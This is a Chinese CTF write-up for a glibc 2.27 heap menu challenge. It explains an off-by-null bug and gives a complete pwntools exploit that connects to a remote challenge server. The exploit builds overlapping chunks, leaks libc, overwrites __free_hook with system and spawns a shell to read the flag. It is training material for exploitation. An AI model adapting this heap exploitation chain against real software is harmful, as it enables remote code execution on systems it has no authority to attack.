难度到是没啥难度,需要设计一下块的布置。
菜单题,有add,free,居然还有edit和show(这个很少见了),管理块0x90,在0x70放size和ptr,这样控制ptr就基本OK了。
漏洞点:
readnb函数有off_by_null
unsigned __int64 __fastcall sub_400B8B(__int64 a1, int a2)
{
char buf; // [rsp+1Fh] [rbp-11h] BYREF
int i; // [rsp+20h] [rbp-10h]
int v5; // [rsp+24h] [rbp-Ch]
unsigned __int64 v6; // [rsp+28h] [rbp-8h]
v6 = __readfsqword(0x28u);
for ( i = 0; i < a2; ++i )
{
v5 = read(0, &buf, 1uLL);
if ( v5 < 0 )
exit(1);
if ( buf == 10 )
{
*(_BYTE *)(i + a1) = 0;
return __readfsqword(0x28u) ^ v6;
}
*(_BYTE *)(a1 + i) = buf;
}
*(_BYTE *)(i + a1) = 0; // off_by_null 多写一个0溢出
return __readfsqword(0x28u) ^ v6;
}
然后就是布置一下块的放置,由于写后加了\0,所以无法直接用show需要造重叠块,2.27用tcache有传统套路 A0x430+B+C0x500 然后先freeA利用B的off_by_null将C的size 0x501改为0x500,在pre_size写上A+B,再freeC再建A后unsortbin的指针会落在B上,showB就得到libc
这个问题就在有管理块上,要在重叠后控制管理块就得让管理块落在重叠的数据块上,当edit里控制管理块的指针。
先建两个80各用,这个数据块跟管理块大小相同,free后可以放两个头,这样数据块会集中到一起,管理起来比较方便,得到unsort后建建420将unsort落到重叠区,这里把管理块建在这里就行了。
from pwn import *
'''
patchelf --set-interpreter /home/shi/pwn/libc6_2.27-3u1/lib64/ld-2.27.so pwn
patchelf --add-needed /home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so pwn
'''
elf = ELF('./pwn')
context.arch = 'amd64'
def connect():
global p,libc_elf,one,libc_start_main_ret,local
local = 0
if local == 1:
p = process('./pwn')
libc_elf = ELF('/home/shi/pwn/libc6_2.27-3u1/lib64/libc-2.27.so')
one = [0x4240e, 0x42462, 0xc4f7f, 0xe31fa, 0xe31ee]
libc_start_main_ret = 0x21a87
else:
p = remote('node4.buuoj.cn', 26158)
libc_elf = ELF('../libc6_2.27-3ubuntu1_amd64.so')
one = [0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a398,0x10a38c]
libc_start_main_ret = 0x21b97
menu = b">"
def add(name, size, msg):
p.sendlineafter(menu, b'1')
p.sendlineafter(b":", name)
p.sendlineafter(b":", str(size).encode())
p.sendlineafter(b":", msg)
def edit(idx, msg):
p.sendlineafter(menu, b'2')
p.sendlineafter(b":", str(idx).encode())
p.sendafter(b":", msg)
def free(idx):
p.sendlineafter(menu, b'4')
p.sendlineafter(b':', str(idx).encode())
def show(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b':', str(idx).encode())
def pwn():
#0m 0d 1m 1d
#0m 2m 1m 3m 0d 2d 1d 3d
add(b'A', 0x80, b'A') #0
add(b'A', 0x80, b'A') #1
free(0)
add(b'A', 0x420, b'A') #0
add(b'A', 0x88, b'A') #2
free(1)
add(b'A', 0x4f8, b'A') #1
add(b'A', 0x20, b'A') #3
free(0)
edit(2, b'A'*0x80 + p64(0x90+0x430))
free(1)
add(b'A', 0x420, b'/bin/sh') #0
#context.log_level = 'debug'
show(2)
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x60 -0x10 - libc_elf.sym['__malloc_hook']
free_hook = libc_base + libc_elf.sym['__free_hook']
system = libc_base + libc_elf.sym['system']
malloc_hook = libc_base + libc_elf.sym['__malloc_hook']
realloc = libc_base + libc_elf.sym['realloc']
one_gadget= libc_base + one[0]
print('libc:', hex(libc_base))
free(3)
add(b'A', 0x80, b'A') #1
add(b'A', 0x20, b'A') #3 3.m == 2.d
edit(2, b'A'*0x70 + p64(8)+ p64(free_hook) + b'\n')
edit(3, p64(system))
free(0)
#gdb.attach(p)
#pause()
p.sendline(b'cat /flag')
p.interactive()
connect()
pwn()
坑:
本来看到got表部分保护就想着改got表,本地没问题但远程不行。没办法远程还是修改__free_hook